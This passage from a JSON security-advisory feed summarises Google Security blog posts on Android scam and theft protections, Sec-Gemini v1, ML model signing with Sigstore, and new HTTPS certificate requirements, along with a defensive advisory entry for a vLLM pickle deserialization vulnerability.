benefit from the best of Android’s powerful security features.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-05-13T16:59:00.000Z","updatedAt":"2025-05-13T18:04:26.321Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Advanced Protection: Google’s Strongest Security for Mobile Devices","url":"https://security.googleblog.com/2025/05/advanced-protection-mobile-devices.html","type":"primary","publishedAt":"2025-05-13T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-whats-new-in-android-security-privacy-2025-106760b77b65","cveId":null,"aliases":[],"kind":"advisory","title":"What’s New in Android Security and Privacy in 2025","summary":"Posted by Dave Kleidermacher, VP Engineering, Android Security and Privacy\n\nAndroid’s intelligent protections keep you safe from everyday dangers. Our dedication to your security is validated by security experts, who consistently rank top Android devices highest in security, and score Android smartphones, led by the Pixel 9 Pro, as leaders in anti-fraud efficacy .\n\nAndroid is always developing new protections to keep you, your device, and your data safe. Today, we’re announcing new features and enhancements that build on our industry-leading protections to help keep you safe from scams, fraud, and theft on Android.\n\n Smarter protections against phone call scams \n\nOur research shows that phone scammers often try to trick people into performing specific actions to initiate a scam, like changing default device security settings or granting elevated permissions to an app. These actions can result in spying, fraud, and other abuse by giving an attacker deeper access to your device and data. To combat phone scammers, we’re working to block specific actions and warn you of these sophisticated attempts. This happens completely on device and is applied only with conversations with non-contacts. \n\nAndroid’s new in-call protections 1 provide an additional layer of defense, preventing you from taking risky security actions during a call like:\n\n Disabling Google Play Protect , Android’s built-in security protection, that is on by default and continuously scans for malicious app behavior, no matter the download source.\n\n Sideloading an app for the first time from a web browser, messaging app or other source – which may not have been vetted for security and privacy by Google. \n\n Granting accessibility permissions, which can give a newly downloaded malicious app access to gain control over the user's device and steal sensitive/private data, like banking information. \n\nAnd if you’re screen sharing during a phone call, Android will now automatically prompt you to stop sharing at the","detail":"Posted by Dave Kleidermacher, VP Engineering, Android Security and Privacy\n\nAndroid’s intelligent protections keep you safe from everyday dangers. Our dedication to your security is validated by security experts, who consistently rank top Android devices highest in security, and score Android smartphones, led by the Pixel 9 Pro, as leaders in anti-fraud efficacy .\n\nAndroid is always developing new protections to keep you, your device, and your data safe. Today, we’re announcing new features and enhancements that build on our industry-leading protections to help keep you safe from scams, fraud, and theft on Android.\n\n Smarter protections against phone call scams \n\nOur research shows that phone scammers often try to trick people into performing specific actions to initiate a scam, like changing default device security settings or granting elevated permissions to an app. These actions can result in spying, fraud, and other abuse by giving an attacker deeper access to your device and data. To combat phone scammers, we’re working to block specific actions and warn you of these sophisticated attempts. This happens completely on device and is applied only with conversations with non-contacts. \n\nAndroid’s new in-call protections 1 provide an additional layer of defense, preventing you from taking risky security actions during a call like:\n\n Disabling Google Play Protect , Android’s built-in security protection, that is on by default and continuously scans for malicious app behavior, no matter the download source.\n\n Sideloading an app for the first time from a web browser, messaging app or other source – which may not have been vetted for security and privacy by Google. \n\n Granting accessibility permissions, which can give a newly downloaded malicious app access to gain control over the user's device and steal sensitive/private data, like banking information. \n\nAnd if you’re screen sharing during a phone call, Android will now automatically prompt you to stop sharing at the end of a call. These protections help safeguard you against scammers that attempt to gain access to sensitive information to conduct fraud. \n\n Piloting enhanced in-call protection for banking apps \n\nScreen sharing scams are becoming quite common, with fraudsters often impersonating banks, government agencies, and other trusted institutions – using screen sharing to guide users to perform costly actions such as mobile banking transfers. To better protect you from these attacks, we’re piloting new in-call protections for banking apps, starting in the UK. \n\nWhen you launch a participating banking app while screen sharing with an unknown contact, your Android device will warn you about the potential dangers and give you the option to end the call and to stop screen sharing with one tap. \n\nThis feature will be enabled automatically for participating banking apps whenever you're on a phone call with an unknown contact on Android 11+ devices. We are working with UK banks Monzo, NatWest and Revolut to pilot this feature for their customers in the coming weeks and will assess the results of the pilot ahead of a wider roll out. \n\n Making real-time Scam Detection in Google Messages even more intelligent \n\n We recently launched AI-powered Scam Detection in Google Messages and Phone by Google to protect you from conversational scams that might sound innocent at first, but turn malicious and can lead to financial loss or data theft. When Scam Detection discovers a suspicious conversation pattern, it warns you in real-time so you can react before falling victim to a costly scam. \n\nAI-powered Scam Detection is always improving to help keep you safe while also keeping your privacy in mind. With Google’s advanced on-device AI, your conversations stay private to you. All message processing remains on-device and you’re always in control. You can turn off Spam Protection, which includes Scam Detection, in your Google Messages at any time.\n\nPrior to targeting conversational scams, Scam Detection in Google Messages focused on analyzing and detecting package delivery and job seeking scams . We’ve now expanded our detections to help protect you from a wider variety of sophisticated scams including: \n\n Toll road and other billing fee scams \n\n Crypto scams\n\n Financial impersonation scams \n\n Gift card and prize scams \n\n Technical support scams \n\n And more\n\nThese enhancements apply to all Google Messages users.\n\n Fighting fraud and impersonation with Key Verifier \n\nTo help protect you from scammers who try to impersonate someone you know, we’re launching a helpful tool called Key Verifier. The feature allows you and the person you’re messaging to verify the identity of the other party through public encryption keys, protecting your end-to-end encrypted messages in Google Messages. By verifying contact keys in your Google Contacts app (through a QR code scanning or number comparison), you can have an extra layer of assurance that the person on the other end is genuine and that your conversation is private with them. \n\nKey Verifier provides a visual way for you and your contact to quickly confirm that your secret keys match, strengthening your confidence that you’re communicating with the intended recipient and not a scammer. For example, if an attacker gains access to a friend’s phone number and uses it on another device to send you a message – which can happen as a result of a SIM swap attack – their contact's verification status will be marked as no longer verified in the Google Contacts app, suggesting your friend’s account may be compromised or has been changed. Key Verifier will launch later this summer in Google Messages on Android 10+ devices. \n\n Comprehensive mobile theft protection, now even stronger \n\nPhysical device theft can lead to financial fraud and data theft, with the value of your banking and payment information many times exceeding the value of your phone. This is one of the reasons why last year we launched the mobile industry’s most comprehensive suite of theft protection features to protect you before, during, and after a theft. Since launch, our theft protection features have helped protect data on hundreds of thousands of devices that may have fallen into the wrong hands. This includes devices that were locked by Remote Lock or Theft Detection Lock and remained locked for over 48 hours. \n\nMost recently, we launched Identity Check for Pixel and Samsung One UI 7 devices, providing an extra layer of security even if your PIN or password is compromised. This protection will also now be available from more device manufacturers on supported devices that upgrade to Android 16. \n\nComing later this year, we’re further hardening Factory Reset protections, which will restrict all functionalities on devices that are reset without the owner’s authorization. You'll also gain more control over our Remote Lock feature with the addition of a security challenge question, helping to prevent unauthorized actions.\n\nWe’re also enhancing your security against thieves in Android 16 by providing more protection for one-time passwords that are received when your phone is locked. In higher risk scenarios 2 , Android will hide one-time passwords on your lock screen, ensuring that only you can see them after unlocking your device. \n\n Advanced Protection: Google’s strongest security for mobile devices \n\nProtecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.\n\nTo enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’r","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-05-13T16:59:00.000Z","updatedAt":"2025-05-14T16:28:23.434Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: What’s New in Android Security and Privacy in 2025","url":"https://security.googleblog.com/2025/05/whats-new-in-android-security-privacy-2025.html","type":"primary","publishedAt":"2025-05-13T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30165","cveId":"CVE-2025-30165","aliases":["GHSA-9pcc-gvx5-r5wm"],"kind":"vulnerability","title":"vLLM V0 multi-node pickle deserialization","summary":"vLLM's V0 engine deserializes ZeroMQ messages with pickle in cross-host tensor-parallel deployments. A compromised primary host or a redirected connection can deliver code-executing data to secondary hosts; the V1 engine is unaffected.","detail":"The maintainer says V0 has been off by default since 0.8.0. The advisory lists 0.10.0 as patched, but its narrative also says no invasive V0 fix is planned. This unresolved version-guidance inconsistency is not converted into a universal upgrade guarantee.","action":"Use the unaffected V1 engine where applicable and restrict multi-node communications to a secure network. Consult the maintainer advisory for version guidance; changing model-weight formats does not establish a fix for this IPC vulnerability.","publishedAt":"2025-05-06","updatedAt":"2025-05-06","regions":["Global"],"vendor":"vLLM Project","product":"vLLM V0 cross-host tensor parallelism","stacks":["Python","vLLM","ZeroMQ","AI / ML infrastructure","LLM serving"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm","asOf":"2026-10-26"},"epss":{"probability":0.00562,"percentile":0.46439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25"}},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The affected software serves large language models. The source does not establish attacker AI use or exploitation in a deployed criminal campaign.","sourceUrl":"https://github.com/vllm-project/vllm/security/advisories/GHSA-9pcc-gvx5-r5wm"},"sources":[{"name":"vLLM maintainer security advisory","url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-9pcc-gvx5-r5wm","type":"primary","publishedAt":"2025-05-06","checkedAt":"2026-10-26","supports":"V0 and cross-host scope, pickle mechanism, V1 exclusion, workarounds, and inconsistent patch-version guidance."},{"name":"GitHub API for the vLLM maintainer advisory","url":"https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm","type":"primary","publishedAt":"2025-05-06","checkedAt":"2026-10-26","supports":"CVE mapping, publication/update dates, maintainer CVSS 3.1 score and vector, and patch-field inconsistency."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"google-security-google-launches-sec-gemini-v1-new-d1774208acfd","cveId":null,"aliases":[],"kind":"advisory","title":"Google announces Sec-Gemini v1, a new experimental cybersecurity model","summary":"Posted by Elie Burzstein and Marianna Tishchenko, Sec-Gemini team \n\n Today, we’re announcing Sec-Gemini v1, a new experimental AI model focused on advancing cybersecurity AI frontiers. \n\n As outlined a year ago, defenders face the daunting task of securing against all cyber threats, while attackers need to successfully find and exploit only a single vulnerability. This fundamental asymmetry has made securing systems extremely difficult, time consuming and error prone. AI-powered cybersecurity workflows have the potential to help shift the balance back to the defenders by force multiplying cybersecurity professionals like never before. \n\n Effectively powering SecOps workflows requires state-of-the-art reasoning capabilities and extensive current cybersecurity knowledge. Sec-Gemini v1 achieves this by combining Gemini’s advanced capabilities with near real-time cybersecurity knowledge and tooling. This combination allows it to achieve superior performance on key cybersecurity workflows, including incident root cause analysis, threat analysis, and vulnerability impact understanding. \n\n We firmly believe that successfully pushing AI cybersecurity frontiers to decisively tilt the balance in favor of the defenders requires a strong collaboration across the cybersecurity community. This is why we are making Sec-Gemini v1 freely available to select organizations, institutions, professionals, and NGOs for research purposes. \n\n Sec-Gemini v1 outperforms other models on key cybersecurity benchmarks as a result of its advanced integration of Google Threat Intelligence (GTI), OSV , and other key data sources. Sec-Gemini v1 outperforms other models on CTI-MCQ, a leading threat intelligence benchmark, by at least 11% (See Figure 1). It also outperforms other models by at least 10.5% on the CTI-Root Cause Mapping benchmark (See Figure 2): \n\n Figure 1 : Sec-Gemini v1 outperforms other models on the CTI-MCQ Cybersecurity Threat Intelligence benchmark. \n\n Figure 2 : Sec-Gemini v1 has","detail":"Posted by Elie Burzstein and Marianna Tishchenko, Sec-Gemini team \n\n Today, we’re announcing Sec-Gemini v1, a new experimental AI model focused on advancing cybersecurity AI frontiers. \n\n As outlined a year ago, defenders face the daunting task of securing against all cyber threats, while attackers need to successfully find and exploit only a single vulnerability. This fundamental asymmetry has made securing systems extremely difficult, time consuming and error prone. AI-powered cybersecurity workflows have the potential to help shift the balance back to the defenders by force multiplying cybersecurity professionals like never before. \n\n Effectively powering SecOps workflows requires state-of-the-art reasoning capabilities and extensive current cybersecurity knowledge. Sec-Gemini v1 achieves this by combining Gemini’s advanced capabilities with near real-time cybersecurity knowledge and tooling. This combination allows it to achieve superior performance on key cybersecurity workflows, including incident root cause analysis, threat analysis, and vulnerability impact understanding. \n\n We firmly believe that successfully pushing AI cybersecurity frontiers to decisively tilt the balance in favor of the defenders requires a strong collaboration across the cybersecurity community. This is why we are making Sec-Gemini v1 freely available to select organizations, institutions, professionals, and NGOs for research purposes. \n\n Sec-Gemini v1 outperforms other models on key cybersecurity benchmarks as a result of its advanced integration of Google Threat Intelligence (GTI), OSV , and other key data sources. Sec-Gemini v1 outperforms other models on CTI-MCQ, a leading threat intelligence benchmark, by at least 11% (See Figure 1). It also outperforms other models by at least 10.5% on the CTI-Root Cause Mapping benchmark (See Figure 2): \n\n Figure 1 : Sec-Gemini v1 outperforms other models on the CTI-MCQ Cybersecurity Threat Intelligence benchmark. \n\n Figure 2 : Sec-Gemini v1 has outperformed other models in a Cybersecurity Threat Intelligence-Root Cause Mapping (CTI-RCM) benchmark that evaluates an LLM's ability to understand the nuances of vulnerability descriptions, identify vulnerabilities underlying root causes, and accurately classify them according to the CWE taxonomy. \n\n Below is an example of the comprehensiveness of Sec-Gemini v1’s answers in response to key cybersecurity questions. First, Sec-Gemini v1 is able to determine that Salt Typhoon is a threat actor (not all models do) and provides a comprehensive description of that threat actor, thanks to its deep integration with Mandiant Threat intelligence data. \n\n Next, in response to a question about the vulnerabilities in the Salt Typhoon description, Sec-Gemini v1 outputs not only vulnerability details (thanks to its integration with OSV data, the open-source vulnerabilities database operated by Google), but also contextualizes the vulnerabilities with respect to threat actors (using Mandiant data). With Sec-Gemini v1, analysts can understand the risk and threat profile associated with specific vulnerabilities faster. \n\n If you are interested in collaborating with us on advancing the AI cybersecurity frontier, please request early access to Sec-Gemini v1 via this form .\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-04-04T18:53:00.000Z","updatedAt":"2025-04-04T19:54:57.258Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Google announces Sec-Gemini v1, a new experimental cybersecurity model","url":"https://security.googleblog.com/2025/04/google-launches-sec-gemini-v1-new.html","type":"primary","publishedAt":"2025-04-04T18:53:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-taming-wild-west-of-ml-practical-model-ab5e42e56f96","cveId":null,"aliases":[],"kind":"advisory","title":"Taming the Wild West of ML: Practical Model Signing with Sigstore","summary":"Posted by Mihai Maruseac, Google Open Source Security Team (GOSST) \n\n In partnership with NVIDIA and HiddenLayer, as part of the Open Source Security Foundation , we are now launching the first stable version of our model signing library . Using digital signatures like those from Sigstore , we allow users to verify that the model used by the application is exactly the model that was created by the developers. In this blog post we will illustrate why this release is important from Google’s point of view. \n\n With the advent of LLMs, the ML field has entered an era of rapid evolution. We have seen remarkable progress leading to weekly launches of various applications which incorporate ML models to perform tasks ranging from customer support, software development, and even performing security critical tasks. \n\n However, this has also opened the door to a new wave of security threats. Model and data poisoning , prompt injection , prompt leaking and prompt evasion are just a few of the risks that have recently been in the news. Garnering less attention are the risks around the ML supply chain process: since models are an uninspectable collection of weights (sometimes also with arbitrary code), an attacker can tamper with them and achieve significant impact to those using the models. Users, developers, and practitioners need to examine an important question during their risk assessment process: “can I trust this model?” \n\n Since its launch, Google’s Secure AI Framework (SAIF) has created guidance and technical solutions for creating AI applications that users can trust. A first step in achieving trust in the model is to permit users to verify its integrity and provenance, to prevent tampering across all processes from training to usage, via cryptographic signing. \n\n The ML supply chain \n\n To understand the need for the model signing project, let’s look at the way ML powered applications are developed, with an eye to where malicious tampering can occur. \n\n Applications that","detail":"Posted by Mihai Maruseac, Google Open Source Security Team (GOSST) \n\n In partnership with NVIDIA and HiddenLayer, as part of the Open Source Security Foundation , we are now launching the first stable version of our model signing library . Using digital signatures like those from Sigstore , we allow users to verify that the model used by the application is exactly the model that was created by the developers. In this blog post we will illustrate why this release is important from Google’s point of view. \n\n With the advent of LLMs, the ML field has entered an era of rapid evolution. We have seen remarkable progress leading to weekly launches of various applications which incorporate ML models to perform tasks ranging from customer support, software development, and even performing security critical tasks. \n\n However, this has also opened the door to a new wave of security threats. Model and data poisoning , prompt injection , prompt leaking and prompt evasion are just a few of the risks that have recently been in the news. Garnering less attention are the risks around the ML supply chain process: since models are an uninspectable collection of weights (sometimes also with arbitrary code), an attacker can tamper with them and achieve significant impact to those using the models. Users, developers, and practitioners need to examine an important question during their risk assessment process: “can I trust this model?” \n\n Since its launch, Google’s Secure AI Framework (SAIF) has created guidance and technical solutions for creating AI applications that users can trust. A first step in achieving trust in the model is to permit users to verify its integrity and provenance, to prevent tampering across all processes from training to usage, via cryptographic signing. \n\n The ML supply chain \n\n To understand the need for the model signing project, let’s look at the way ML powered applications are developed, with an eye to where malicious tampering can occur. \n\n Applications that use advanced AI models are typically developed in at least three different stages. First, a large foundation model is trained on large datasets. Next, a separate ML team finetunes the model to make it achieve good performance on application specific tasks. Finally, this fine-tuned model is embedded into an application. \n\n The three steps involved in building an application that uses large language models. \n\n These three stages are usually handled by different teams, and potentially even different companies, since each stage requires specialized expertise. To make models available from one stage to the next, practitioners leverage model hubs , which are repositories for storing models. Kaggle and HuggingFace are popular open source options, although internal model hubs could also be used. \n\n This separation into stages creates multiple opportunities where a malicious user (or external threat actor who has compromised the internal infrastructure) could tamper with the model. This could range from just a slight alteration of the model weights that control model behavior, to injecting architectural backdoors — completely new model behaviors and capabilities that could be triggered only on specific inputs. It is also possible to exploit the serialization format and inject arbitrary code execution in the model as saved on disk — our whitepaper on AI supply chain integrity goes into more details on how popular model serialization libraries could be exploited. The following diagram summarizes the risks across the ML supply chain for developing a single model, as discussed in the whitepaper. \n\n The supply chain diagram for building a single model, illustrating some supply chain risks (oval labels) and where model signing can defend against them (check marks) \n\n The diagram shows several places where the model could be compromised. Most of these could be prevented by signing the model during training and verifying integrity before any usage, in every step: the signature would have to be verified when the model gets uploaded to a model hub, when the model gets selected to be deployed into an application (embedded or via remote APIs) and when the model is used as an intermediary during another training run. Assuming the training infrastructure is trustworthy and not compromised, this approach guarantees that each model user can trust the model. \n\n Sigstore for ML models \n\n Signing models is inspired by code signing, a critical step in traditional software development. A signed binary artifact helps users identify its producer and prevents tampering after publication. The average developer, however, would not want to manage keys and rotate them on compromise. \n\n These challenges are addressed by using Sigstore , a collection of tools and services that make code signing secure and easy. By binding an OpenID Connect token to a workload or developer identity, Sigstore alleviates the need to manage or rotate long-lived secrets. Furthermore, signing is made transparent so signatures over malicious artifacts could be audited in a public transparency log, by anyone. This ensures that split-view attacks are not possible, so any user would get the exact same model. These features are why we recommend Sigstore’s signing mechanism as the default approach for signing ML models. \n\n Today the OSS community is releasing the v1.0 stable version of our model signing library as a Python package supporting Sigstore and traditional signing methods. This model signing library is specialized to handle the sheer scale of ML models (which are usually much larger than traditional software components), and handles signing models represented as a directory tree. The package provides CLI utilities so that users can sign and verify model signatures for individual models. The package can also be used as a library which we plan to incorporate directly into model hub upload flows as well as into ML frameworks. \n\n Future goals \n\n We can view model signing as establishing the foundation of trust in the ML ecosystem. We envision extending this approach to also include datasets and other ML-related artifacts. Then, we plan to build on top of signatures, towards fully tamper-proof metadata records, that can be read by both humans and machines. This has the potential to automate a significant fraction of the work needed to perform incident response in case of a compromise in the ML world. In an ideal world, an ML developer would not need to perform any code changes to the training code, while the framework itself would handle model signing and verification in a transparent manner. \n\n If you are interested in the future of this project, join the OpenSSF meetings attached to the project . To shape the future of building tamper-proof ML, join the Coalition for Secure AI , where we are planning to work on building the entire trust ecosystem together with the open source community. In collaboration with multiple industry partners, we are starting up a special interest group under CoSAI for defining the future of ML signing and including tamper-proof ML metadata, such as model cards and evaluation results.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-04-04T17:00:00.000Z","updatedAt":"2025-04-04T17:00:39.435Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Taming the Wild West of ML: Practical Model Signing with Sigstore","url":"https://security.googleblog.com/2025/04/taming-wild-west-of-ml-practical-model.html","type":"primary","publishedAt":"2025-04-04T17:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-new-security-requirements-adopted-by-4ca89d3433bc","cveId":null,"aliases":[],"kind":"advisory","title":"New security requirements adopted by HTTPS certificate industry","summary":"Posted by Chrome Root Program, Chrome Security Team \n\nThe Chrome Root Program launched in 2022 as part of Google’s ongoing commitment to upholding secure and reliable network connections in Chrome. We previously described how the Chrome Root Program keeps users safe , and described how the program is focused on promoting technologies and practices that strengthen the underlying security assurances provided by Transport Layer Security (TLS). Many of these initiatives are described on our forward looking, public roadmap named “ Moving Forward, Together. ”\n\nAt a high-level, “Moving Forward, Together” is our vision of the future. It is non-normative and considered distinct from the requirements detailed in the Chrome Root Program Policy . It’s focused on themes that we feel are essential to further improving the Web PKI ecosystem going forward, complementing Chrome’s core principles of speed, security, stability, and simplicity. These themes include:\n\n Encouraging modern infrastructures and agility\n\n Focusing on simplicity\n\n Promoting automation\n\n Reducing mis-issuance\n\n Increasing accountability and ecosystem integrity\n\n Streamlining and improving domain validation practices\n\n Preparing for a \"post-quantum\" world\n\nEarlier this month, two “Moving Forward, Together” initiatives became required practices in the CA/Browser Forum Baseline Requirements (BRs). The CA/Browser Forum is a cross-industry group that works together to develop minimum requirements for TLS certificates. Ultimately, these new initiatives represent an improvement to the security and agility of every TLS connection relied upon by Chrome users.\n\nIf you’re unfamiliar with HTTPS and certificates, see the “Introduction” of this blog post for a high-level overview.\n\n Multi-Perspective Issuance Corroboration \n\nBefore issuing a certificate to a website, a Certification Authority (CA) must verify the requestor legitimately controls the domain whose name will be represented in the certificate. This process is re","detail":"Posted by Chrome Root Program, Chrome Security Team \n\nThe Chrome Root Program launched in 2022 as part of Google’s ongoing commitment to upholding secure and reliable network connections in Chrome. We previously described how the Chrome Root Program keeps users safe , and described how the program is focused on promoting technologies and practices that strengthen the underlying security assurances provided by Transport Layer Security (TLS). Many of these initiatives are described on our forward looking, public roadmap named “ Moving Forward, Together. ”\n\nAt a high-level, “Moving Forward, Together” is our vision of the future. It is non-normative and considered distinct from the requirements detailed in the Chrome Root Program Policy . It’s focused on themes that we feel are essential to further improving the Web PKI ecosystem going forward, complementing Chrome’s core principles of speed, security, stability, and simplicity. These themes include:\n\n Encouraging modern infrastructures and agility\n\n Focusing on simplicity\n\n Promoting automation\n\n Reducing mis-issuance\n\n Increasing accountability and ecosystem integrity\n\n Streamlining and improving domain validation practices\n\n Preparing for a \"post-quantum\" world\n\nEarlier this month, two “Moving Forward, Together” initiatives became required practices in the CA/Browser Forum Baseline Requirements (BRs). The CA/Browser Forum is a cross-industry group that works together to develop minimum requirements for TLS certificates. Ultimately, these new initiatives represent an improvement to the security and agility of every TLS connection relied upon by Chrome users.\n\nIf you’re unfamiliar with HTTPS and certificates, see the “Introduction” of this blog post for a high-level overview.\n\n Multi-Perspective Issuance Corroboration \n\nBefore issuing a certificate to a website, a Certification Authority (CA) must verify the requestor legitimately controls the domain whose name will be represented in the certificate. This process is referred to as \"domain control validation\" and there are several well-defined methods that can be used. For example, a CA can specify a random value to be placed on a website, and then perform a check to verify the value’s presence has been published by the certificate requestor.\n\nDespite the existing domain control validation requirements defined by the CA/Browser Forum, peer-reviewed research authored by the Center for Information Technology Policy (CITP) of Princeton University and others highlighted the risk of Border Gateway Protocol (BGP) attacks and prefix-hijacking resulting in fraudulently issued certificates. This risk was not merely theoretical, as it was demonstrated that attackers successfully exploited this vulnerability on numerous occasions, with just one of these attacks resulting in approximately $2 million dollars of direct losses.\n\nMulti-Perspective Issuance Corroboration (referred to as \"MPIC\") enhances existing domain control validation methods by reducing the likelihood that routing attacks can result in fraudulently issued certificates. Rather than performing domain control validation and authorization from a single geographic or routing vantage point, which an adversary could influence as demonstrated by security researchers, MPIC implementations perform the same validation from multiple geographic locations and/or Internet Service Providers. This has been observed as an effective countermeasure against ethically conducted, real-world BGP hijacks. \n\nThe Chrome Root Program led a work team of ecosystem participants, which culminated in a CA/Browser Forum Ballot to require adoption of MPIC via Ballot SC-067 . The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on MPIC as part of their certificate issuance process. Some of these CAs are relying on the Open MPIC Project to ensure their implementations are robust and consistent with ecosystem expectations.\n\nWe’d especially like to thank Henry Birge-Lee, Grace Cimaszewski, Liang Wang, Cyrill Krähenbühl, Mihir Kshirsagar, Prateek Mittal, Jennifer Rexford, and others from Princeton University for their sustained efforts in promoting meaningful web security improvements and ongoing partnership.\n\n Linting \n\nLinting refers to the automated process of analyzing X.509 certificates to detect and prevent errors, inconsistencies, and non-compliance with requirements and industry standards. Linting ensures certificates are well-formatted and include the necessary data for their intended use, such as website authentication. \n\nLinting can expose the use of weak or obsolete cryptographic algorithms and other known insecure practices, improving overall security. Linting improves interoperability and helps CAs reduce the risk of non-compliance with industry standards (e.g., CA/Browser Forum TLS Baseline Requirements). Non-compliance can result in certificates being \"mis-issued\". Detecting these issues before a certificate is in use by a site operator reduces the negative impact associated with having to correct a mis-issued certificate.\n\nThere are numerous open-source linting projects in existence (e.g., certlint , pkilint , x509lint , and zlint ), in addition to numerous custom linting projects maintained by members of the Web PKI ecosystem. “Meta” linters, like pkimetal , combine multiple linting tools into a single solution, offering simplicity and significant performance improvements to implementers compared to implementing multiple standalone linting solutions. \n\nLast spring, the Chrome Root Program led ecosystem-wide experiments, emphasizing the need for linting adoption due to the discovery of widespread certificate mis-issuance. We later participated in drafting CA/Browser Forum Ballot SC-075 to require adoption of certificate linting. The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on linting as part of their certificate issuance process.\n\n What’s next? \n\nWe recently landed an updated version of the Chrome Root Program Policy that further aligns with the goals outlined in “Moving Forward, Together.” The Chrome Root Program remains committed to proactive advancement of the Web PKI. This commitment was recently realized in practice through our proposal to sunset demonstrated weak domain control validation methods permitted by the CA/Browser Forum TLS Baseline Requirements. The weak validation methods in question are now prohibited beginning July 15, 2025.\n\nIt’s essential we all work together to continually improve the Web PKI, and reduce the opportunities for risk and abuse before measurable harm can be realized. We continue to value collaboration with web security professionals and the members of the CA/Browser Forum to realize a safer Internet. Looking forward, we’re excited to explore a reimagined Web PKI and Chrome Root Program with even stronger security assurances for the web as we navigate the transition to post-quantum cryptography . We’ll have more to say about quantum-resistant PKI later this year.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing 